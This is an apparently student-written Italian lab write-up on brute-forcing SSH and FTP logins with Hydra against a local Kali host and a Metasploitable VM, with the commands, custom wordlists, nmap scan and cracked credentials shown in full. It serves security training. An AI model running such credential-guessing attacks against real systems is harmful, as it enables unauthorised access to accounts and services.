

## Esercizio 02-03

Traccia: fare pratica nell'utilizzo del tool Hydra per craccare l'autenticazione dei servizi di rete.  
Sviluppare l'esercizio in due fasi:

1. Abilitazione di un servizio SSH e relativa sessione di cracking con Hydra
2. Configurazione e crack liberi di un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP

Consegna: installare seclists e vsftpd, eseguire l'esercizio guidato su SSH da Kali a Kali, FTP da Kali a Kali; bonus = telnet/ssh/ftp da Kali a Metasploitable (in rete interna), un esempio di attacco potrebbe essere => utente msfadmin, password listadipassword (con msfadmin incluso)

Fase 1

Macchina in rete interna

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d2:d3:f9 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fed2:d3f9/64 scope link
        valid_lft forever preferred_lft forever
```

```
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
Adding user `test_user' ...
Adding new group `test_user' (1001) ...
Adding new user `test_user' (1001) with group `test_user (1001)' ...
Creating home directory `/home/test_user' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
Adding new user `test_user' to supplemental / extra groups `users' ...
Adding user `test_user' to group `users' ...
```

Aggiungo un nuovo user "test\_user" con password "testpass"

```
(kali㉿kali)-[~]
$ sudo service ssh start
```

Avviamento del servizio SSH

```
(kali㉿kali)-[~]
$ cd /

(kali㉿kali)-[/]
$ cd /etc/ssh/

(kali㉿kali)-[/etc/ssh]
$ ls
moduli          sshd_config      ssh_host_dsa_key.pub  ssh_host_ed25519_key  ssh_host_rsa_key.pub
ssh_config      sshd_config.d    ssh_host_ecdsa_key    ssh_host_ed25519_key.pub
ssh_config.d    ssh_host_dsa_key  ssh_host_ecdsa_key.pub ssh_host_rsa_key
```

Mi accerto che ci sia il file sshd\_config nella directory /etc/ssh. Ai fini dell'esercizio non è necessario modificarne il contenuto.

Login per testare la correttezza  
delle credenziali dell'utente  
appena creato

```
(kali㉿kali)-[/etc/ssh]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:WfTS6sllpkvItCOeQRtNZEE1H+WdZXbfEcbQRSWfxT0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.0.0-kali6-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.12-1kali1 (2022-12-19) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

```
(kali㉿kali)-[~]
$ cd Desktop/

(kali㉿kali)-[~/Desktop]
$ touch username_list.txt

(kali㉿kali)-[~/Desktop]
$ touch password_list.txt

(kali㉿kali)-[~/Desktop]
$ nano username_list.txt

(kali㉿kali)-[~/Desktop]
$ nano password_list.txt
```

Decido di creare due file contenenti nomi  
utenti e password così da velocizzare i  
processi di verifica, la procedura seguita  
rimane invariata e applicabile con altre liste.

```
~/Desktop/username_list.txt -
File Edit Search View Document Help
1 12345
2 ciao
3 buongiorno
4 pallavolo
5 nuvola
6 gatto
7 portone
8 stambecco
9 giraffa
10 tartaruga
11 cane
12 password
13 admin
14 msfadmin
15 root
16 guest
17 test_user
18 libro
19 Dario
20 Metasploitable
21 sconosciuto
22 furfante
23
```

```
~/Desktop/password_list.txt -
File Edit Search View Document Help
1 12345
2 ciao
3 buongiorno
4 pallavolo
5 nuvola
6 gatto
7 portone
8 stambecco
9 giraffa
10 tartaruga
11 cane
12 password
13 admin
14 msfadmin
15 root
16 guest
17 test_user
18 testpass
19 libro
20 Dario
21 Metasploitable
22 sconosciuto
23 furfante
24
```

Utilizzo del tool Hydra per provare accessi con:

```
(kali㉿kali)-[~/Desktop]
└─$ hydra -l test_user -p testpass 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 08:48:12
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 08:48:12
```

Utente e password dati

```
(kali㉿kali)-[~/Desktop]
└─$ hydra -l test_user -P /home/kali/Desktop/password_list.txt 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 08:49:33
[DATA] max 4 tasks per 1 server, overall 4 tasks, 23 login tries (l:1/p:23), ~6 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 08:49:48
```

Utente dato e lista di password da provare

```
(kali㉿kali)-[~/Desktop]
└─$ hydra -L /home/kali/Desktop/username_list.txt -P /home/kali/Desktop/password_list.txt 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 08:49:48
[DATA] max 4 tasks per 1 server, overall 4 tasks, 23 login tries (l:1/p:23), ~6 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 08:49:48
```

Lista di utenti da provare e password data

```
(kali㉿kali)-[~/Desktop]
└─$ hydra -L /home/kali/Desktop/username_list.txt -P /home/kali/Desktop/password_list.txt 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 08:50:41
[DATA] max 4 tasks per 1 server, overall 4 tasks, 506 login tries (l:22/p:23), ~127 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[STATUS] 41.00 tries/min, 41 tries in 00:01h, 465 to do in 00:12h, 4 active
[STATUS] 39.00 tries/min, 117 tries in 00:03h, 389 to do in 00:10h, 4 active
[STATUS] 35.14 tries/min, 246 tries in 00:07h, 260 to do in 00:08h, 4 active
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[STATUS] 36.08 tries/min, 433 tries in 00:12h, 73 to do in 00:03h, 4 active
[STATUS] 35.92 tries/min, 467 tries in 00:13h, 39 to do in 00:02h, 4 active
[STATUS] 35.79 tries/min, 501 tries in 00:14h, 5 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 09:05:07
```

Lista di utenti e lista di password da provare

```
(kali㉿kali)-[~/Desktop]
└─$ sudo service vsftpd start
[sudo] password for kali:
```

Attivazione del servizio ftp e tentativo di login con password "testpass" per provare le credenziali

```
(kali㉿kali)-[~/Desktop]
└─$ ftp test_user@192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ^D
221 Goodbye.
```

Crack del login ftp con utente dato e lista di password da provare

```
(kali㉿kali)-[~/Desktop]
└─$ hydra -l test_user -P /home/kali/Desktop/password_list.txt ftp://192.168.50.100
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 09:18:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 23 login tries (l:1/p:23), ~2 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 09:18:35
```

```
(kali㉿kali)-[~/Desktop]
$ sudo nmap -sS 192.168.50.100
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-02 09:23 EST
Nmap scan report for 192.168.50.100
Host is up (0.000014s latency). scan
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh

Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
```

Non riuscendo ad accedere ad altri servizi ho provato a lanciare una scansione nmap sull'indirizzo di kali per vedere quali porte fossero attive e con quali servizi

```
(kali㉿kali)-[~/Desktop]
$ hydra -l msfadmin -p msfadmin ftp://192.168.50.101
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 09:38:07
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.50.101:21/
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 09:38:08
```

Crack del login ftp di Metasploitable con utente e password dati

```
(kali㉿kali)-[~/Desktop]
$ hydra -l msfadmin -P /home/kali/Desktop/password_list.txt ftp://192.168.50.101
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 09:39:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 23 login tries (l:1/p:23), ~2 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 09:39:12
```

Crack del login ftp di Metasploitable con utente dato e lista di password da provare